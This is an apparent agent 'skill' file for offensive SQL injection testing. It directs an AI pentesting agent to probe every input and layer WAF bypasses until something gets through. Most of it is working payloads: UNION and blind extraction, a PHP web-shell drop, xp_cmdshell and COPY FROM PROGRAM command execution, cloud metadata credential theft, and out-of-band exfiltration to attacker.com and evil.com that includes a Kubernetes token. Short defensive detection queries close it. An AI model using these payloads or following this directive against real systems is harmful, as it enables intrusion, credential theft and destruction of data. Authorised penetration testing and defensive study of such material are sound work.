SQL Injection — Offensive Testing Skill
Agent Directive (read first)
When performing a full blackbox pentest of any web application, API, or service that touches a database, the agent MUST:
- Always run the SQLi methodology below. Do not skip it because a target "looks modern," uses an ORM, returns JSON, or has a WAF. Modern stacks have introduced new sinks (GraphQL, WebSockets, JSON operators, ORM raw queries, NoSQL
$where), not eliminated old ones. - Test every input vector that can reach a backend datastore — URL params, POST body, JSON fields, cookies, headers (
X-Forwarded-For,User-Agent,Referer, custom headers), multipart filenames, GraphQL variables, WebSocket frames, and second-order sinks (profile fields, filenames, log viewers). - Exhaust detection before declaring a parameter clean. Run error-based → boolean-blind → time-blind → out-of-band, in that order. A parameter is only "not vulnerable" after all four classes return negative.
- Identify the DBMS before deep exploitation. Payload syntax, comment chars, and string concat differ per DB — see the cheatsheet at the bottom.
- Layer WAF bypasses before giving up. If a payload is blocked, try case variation, comments, encoding, whitespace tricks, then chain them.
- Document every confirmed injection with the request, response evidence, DB type, and an impact-graded PoC (data extraction or privilege escalation).
Quick Workflow
[1] Map inputs → spider, proxy traffic, OpenAPI/GraphQL introspection, JS source
[2] Probe → break-chars + classic payloads on every input
[3] Classify → error / union / boolean / time / OOB
[4] Fingerprint DB → version, current_user, current_db
[5] Enumerate schema → tables, columns, privileges
[6] Extract / escalate → data dump, file r/w, RCE if in scope
[7] Bypass WAF as needed → tampers, encoding, chains
[8] Report → PoC, impact, remediation
1. Detection
1.1 Break-Character Probes (run on every parameter)
' " ` ; ) ( -- # /* */ \ % , +
' OR '1'='1
" OR "1"="1
') OR ('1'='1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
1.2 Error-Based Probes
Trigger syntax errors to leak DB type and query structure:
' '' ` " "" , % \
Forced-error payloads (MySQL, double-query technique):
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -
Look for: SQL error strings, ODBC/JDBC stacks, leaked table/column names, version banners.
1.3 Boolean-Based Blind
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
Diff response size, status, body, timing.
1.4 Time-Based Blind
-- MySQL
' OR SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
'; WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --
-- Oracle (no PL/SQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5) --
1.5 Out-of-Band (OOB) — when blind & errors fail
-- MySQL (Windows / UNC)
' UNION SELECT LOAD_FILE(CONCAT('',(SELECT @@version),'.attacker.com\\a')) --
-- MSSQL
'; EXEC master..xp_dirtree '\\attacker.com\share' --
-- Oracle
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual --
-- PostgreSQL (DNS via copy from program)
'; COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com'; --
Use interact.sh or Burp Collaborator for the listener.
1.6 Modern Sinks
JSON operator probes:
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'
GraphQL → SQLi:
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
WebSocket:
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test' OR 1=1--"}');
REST API filter injection:
POST /api/users/search
{
"filter": { "name": {"$regex": "admin' OR 1=1--"} },
"sort": "name'; DROP TABLE users--"
}
Second-order: Inject in profile fields, filenames, or anything written to DB then re-rendered elsewhere — the payload fires when the secondary query runs.
'; UPDATE users SET role='admin' WHERE username='attacker' --
2. Database Fingerprinting
Run early — every payload after this depends on it.
-- MySQL / MariaDB
' OR 1=1 AND @@version --
' UNION SELECT version(), database(), user() --
-- PostgreSQL
' UNION SELECT version(), current_database(), current_user --
-- MSSQL
' OR 1=1 AND @@version --
' UNION SELECT @@version, DB_NAME(), SYSTEM_USER --
-- Oracle
' UNION SELECT banner, NULL, NULL FROM v$version --
3. UNION-Based Exploitation
3.1 Column Count
' ORDER BY 1 --
' ORDER BY 2 -- -- increment until error
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
3.2 Find String Columns
' UNION SELECT 'a',NULL,NULL --
' UNION SELECT NULL,'a',NULL --
3.3 Schema Enumeration
-- Tables (MySQL/MSSQL/PG)
' UNION SELECT table_schema, table_name FROM information_schema.tables --
-- Tables (Oracle)
' UNION SELECT owner, table_name FROM all_tables --
-- Columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- Group concat for compact dump
' UNION SELECT GROUP_CONCAT(table_name SEPARATOR ','), NULL FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users --
3.4 Cross-DB extraction
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --
4. Blind Extraction (Boolean & Time)
4.1 Character-by-character (boolean)
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a' --
' AND ASCII(SUBSTRING((SELECT database()),1,1))>109 --
4.2 Time-based conditional
' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))='a', SLEEP(5), 0) --
-- Postgres
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
4.3 Bitwise extraction (faster than ASCII compare)
' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --
4.4 Combined UNION + time-based
' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --
5. Database-Specific Exploitation
5.1 MySQL / MariaDB
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --
-- Web shell drop (requires FILE priv + writable webroot)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
-- Schema sweep (skip system DBs)
' UNION SELECT table_schema, table_name FROM information_schema.tables
WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys') --
5.2 MSSQL
-- OS command exec
'; EXEC xp_cmdshell 'whoami' --
'; EXEC master..xp_cmdshell 'net user' --
-- Re-enable xp_cmdshell if disabled
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked;Trusted_Connection=yes'',''SELECT 1'')') --
-- DNS exfil
'; EXEC master..xp_dirtree '\\evil.com\payload' --
5.3 PostgreSQL
-- File read
' UNION SELECT pg_read_file('/etc/passwd', 0, 1000) --
-- OS command (superuser)
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec; --
-- K8s service-account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
5.4 Oracle
-- Privileges
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
-- PL/SQL OS exec (legacy)
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
-- HTTP exfil
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?d='||user) FROM dual --
6. NoSQL & Graph Injection
6.1 MongoDB
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
{"username": "admin", "password": {"$gt": ""}}
6.2 Neo4j / Cypher
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
Neo4j 5.x <5.18 / <4.4.26 had IMMUTABLE-procedure privilege escalation issues — check version.
7. WAF Bypass Techniques
| Technique | Example |
|---|---|
| Case variation | SeLeCt, uNiOn |
| Inline comments | UN/**/ION SE/**/LECT, UNION/**/SELECT/**/NULL,NULL |
| URL encoding | UNION → %55%4E%49%4F%4E |
| Double URL encoding | %27 → %2527 |
| Hex encoding | ' UNION SELECT 0x61646D696E, 0x70617373776F7264 -- |
| Whitespace swap | tab %09, newline %0A, CRLF %0D%0A, %0C form-feed |
CHAR() strings |
CHAR(117,115,101,114) for user |
| Concat split | MySQL CONCAT('ad','min'), PG/Oracle 'ad'||'min', MSSQL 'ad'+'min' |
| Versioned MySQL | /*!50000 UNION*/ /*!50000 SELECT*/ |
| Null byte | %00' UNION SELECT password FROM users-- |
| JSON wrapper | Prefix dummy JSON /**/{"a":1} to confuse parser-based WAFs |
| HTTP/2 / h2c smuggling | HPACK can hide payloads from perimeter WAFs |
| Base64 + decoder | ' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') -- |
Chain them. A single bypass usually fails; layered (case + comment + encoding) succeeds far more often.
8. SQLmap Automation
8.1 Standard runs
# Basic
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# From Burp request file
sqlmap -r req.txt --batch --dbs --risk=3 --level=5
# Aggressive with tampers
sqlmap -u "https://target.com/page?id=1" \
--tamper=space2comment,charencode,randomcase \
--level=5 --risk=3 --batch
8.2 Heavy tamper chain (try when blocked)
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
8.3 Custom tamper script template
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload, **kwargs):
"""Replace spaces with inline comments."""
if payload:
return payload.replace(" ", "/**/")
return payload
Save to <sqlmap>/tamper/myscript.py, then --tamper=myscript.
8.4 Recon → injection pipeline
sublist3r -d target.com | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | gf sqli | tee sqli-candidates
sqlmap -m sqli-candidates --batch --dbs
# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json
# Faster blind
ghauri -u "https://target.com/page?id=1" --dbs
9. Cloud-Specific Attack Paths
9.1 AWS
-- IMDSv1 credential theft (legacy / misconfigured)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --
9.2 Azure
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --
-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
9.3 GCP Cloud SQL
' UNION SELECT @@global.version_comment, @@hostname --
9.4 Lambda / Serverless connection-pool poisoning
// SET ROLE persists across Lambda invocations when connections are reused.
exports.handler = async (event) => {
await db.query(`SET ROLE '${event.role}'`); // injectable → poisons next user
return await db.query("SELECT * FROM sensitive_data");
};
10. ORM CVE Tracking
| ORM | CVE / Issue | Vulnerable Pattern |
|---|---|---|
| Sequelize | CVE-2023-22578 | sequelize.literal(`name = '${userInput}'`) |
| TypeORM <0.3.12 | findOne injection | repository.findOne({ where: `id = ${id}` }) |
| Hibernate 6.x | Query cache poisoning | session.createQuery("FROM User WHERE name = '" + input + "'") |
| Prisma <4.11 | Raw query | prisma.$executeRawUnsafe(`SELECT * FROM users WHERE id = ${id}`) |
Safe patterns to confirm during code review:
// Sequelize
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])
11. Quick-Reference Cheatsheet
| DB | Version | Time delay | String concat | Schema source | Comment |
|---|---|---|---|---|---|
| MySQL | @@version |
SLEEP(5) |
CONCAT('a','b') |
information_schema.tables |
-- , #, /* */ |
| MSSQL | @@version |
WAITFOR DELAY '0:0:5' |
'a'+'b' |
information_schema.tables, sys.tables |
--, /* */ |
| PostgreSQL | version() |
pg_sleep(5) |
'a'||'b' |
information_schema.tables |
--, /* */ |
| Oracle | banner FROM v$version |
DBMS_PIPE.RECEIVE_MESSAGE('a',5) |
'a'||'b' |
all_tables, all_tab_columns |
-- |
12. Detection & Monitoring (defensive context)
Splunk:
index=web sourcetype=access_combined
| regex _raw="(%27)|(')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
AWS CloudWatch Insights (RDS):
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)
13. References & Standards
- MITRE ATT&CK: T1190 — Exploit Public-Facing Application
- OWASP ASVS 4.0: V5.3.4 — parameterized queries required
- PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory
- CISA KEV — track actively exploited SQLi CVEs
- nav1n0x — Advanced SQL Injection Techniques: https://nav1n0x.gitbook.io/advanced-sql-injection-techniques
- SnailSploit — offensive-sqli skill: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/offensive-sqli/SKILL.md
- PortSwigger Web Security Academy — SQL injection labs
14. Final reminders for the agent
- Never skip SQLi probing, even on JSON-only APIs, GraphQL endpoints, or "fully ORM" stacks.
- Test every parameter, every header, every cookie, every WS frame.
- Identify DB before deep-diving — wrong syntax wastes time and burns WAF budget.
- Layer WAF bypasses, do not give up after one blocked payload.
- Stay in scope. Stacked queries (
; DROP TABLE), file writes, andxp_cmdshellcan be destructive — confirm authorization before firing. - Log everything: payload, request, response, timing, evidence — for the report.